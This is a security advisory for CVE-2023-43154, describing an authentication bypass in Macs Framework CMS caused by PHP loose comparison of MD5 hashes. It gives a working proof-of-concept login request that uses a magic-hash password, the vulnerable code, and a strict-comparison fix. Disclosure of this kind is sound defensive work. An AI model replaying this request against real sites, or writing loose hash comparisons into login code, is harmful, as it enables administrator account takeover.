PHP Type Confusion Vulnerability Leading to Administrator Account Takeover via Authentication Bypass

2023.09.24
Credit: Ally Petitt
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

# CVE-2023-43154 - Macs Framework v1.1.4f CMS Type Confusion Vulnerability ## Table of Contents 1. [Overview](#overview) 2. [Proof of Concept](#proof-of-concept) 3. [Technical Debrief](#technical-debrief) 4. [Mitigation](#mitigation) ## Overview **CVE-ID**: CVE-2023-43154 **CVSS 3.1**: 9.8 **Vulnerability Description**: A loose comparison in the `isValidLogin()` function results in a PHP type confusion vulnerability that can be abused to bypass authentication and takeover the administrator account. **Vulnerable Parameters**: The username and password of the users on the CMS. **Affected Products**: Macs Framework v1.14f - Content Management System **Limitations**: 1. The username of the victim account must be previously known or a zero-like string 2. The password used with the account must result in a "magic hash". **User Interaction Required**: None **References**: [https://github.com/ally-petitt/CVE-2023-43154-PoC](https://github.com/ally-petitt/CVE-2023-43154-PoC) **Discovery Date**: September 7, 2023 **Reported By**: Ally Petitt ## Proof of Concept Logging in at the URI `/index.php/main/cms/login` with the username of the victim account and any password that results in a magic hash will lead to authentication bypass. A sample login is shown below. ### Send Payload ``` POST /index.php/main/cms/login HTTP/1.1 Host: 172.17.0.2 Content-Length: 62 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://172.17.0.2 Referer: http://172.17.0.2/index.php/main/cms/login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82 Connection: close ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0 ``` ### HTTP Response ``` HTTP/1.1 200 OK Date: Sat, 09 Sep 2023 02:01:26 GMT Server: Apache/2.4.25 (Debian) X-Powered-By: PHP/5.6.40 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 72 Connection: close Content-Type: text/html; charset=ISO-8859-1 <script>window.location.href="http://172.17.0.2/index.php/home"</script> ``` The status code of 200 and the redirect to `/index.php/home` are both indications that the login attempt was successful. The password of `testadmin` was not the password used in the login attempt (`0gdVIdSQL8Cm`). Instead, it was set to `QNKCDZO`. ## Technical Debrief When a user attempts to log in, their supplied password is hashed and and sent as a parameter to the `isValidLogin()` function via the initial `login()` function that is called when a POST request is made to `/index.php/Main/CMS/login`. ``` public function login() { if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() )) --snip-- } ``` The `isValidLogin()` function begins on line 83 of file `/Application/plugins/CMS/controllers/CMS.php`. It is vulnerable to a type confusion vulnerability due to its use of 2 equal signs instead of 3. ``` private function isValidLogin($username, $password) { $this->loadModels(); $loggedIn = false; foreach (Config::$editInPlaceAdmins as $key=>$account) { if(( $account['username'] == $username) && ($account['password'] == $password ) ) { $loggedIn = true; Session::set('AdminLoggedIn', $account); break; } } ``` As shown in the `if` statement, the username and password are being checked with a loose comparison, leading to a PHP type confusion vulnerability. This can be abused when logging in with a password that results in a magic hash, or hash that is interpretted by PHP to have the value `0` during a loose comparison. A list of such passwords can be found [here](https://github.com/spaze/hashes). To exploit this, it is important to first understand the format that `$account['password']` is stored in. In the function used to save a new user account on line 730 of the aforementioned `CMS.php` file, it becomes clear that the password is first passed through an `encrypt` function before it is stored. ``` $password = $this->encrypt(Post::getByKey('password')); $confirmPassword = $this->encrypt(Post::getByKey('confirmPassword')); -- snip -- private function saveNewUser( $username, $password, $emailAddress, $roleId) ``` Continuing to the function that is called after the password is run through `encrypt`, the following code is used: ``` private function saveNewUser( $username, $password, $emailAddress, $roleId) { --snip-- $this->usersModel->insertUser($username, $password, $emailAddress, $roleId); --snip-- } ``` Based on the code above, it is apparent that the "encrypted" password was placed directly into the `users` Model of the MVC framework. Finally, to exploit this vulnerability, it is necessary to understand how the `encrypt` function works as its output is being directly compared against the user input. ``` private function encrypt( $string ) { return md5($string); } ``` The encrypt function returns the MD5 hash of the string passed to it. This means that when the `login()` function is called with the user-supplied credentials, the inputted password is hashed and compared against the stored MD5 hash of the victim account. The implication is that when using a password that results in a PHP collision, or magic hash, it will register as being equivilent when compared against a stored password that also follows the format of a magic hash. As a result, a very large number of passwords can be used to authenticate to and takeover the administrator account, even when the initial password is not previously known. ## Mitigation This vulnerability can be mitigated by changing the loose comparison in the `isValidLogin()` function to a strict comparison by replacing `==` with `===`.


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top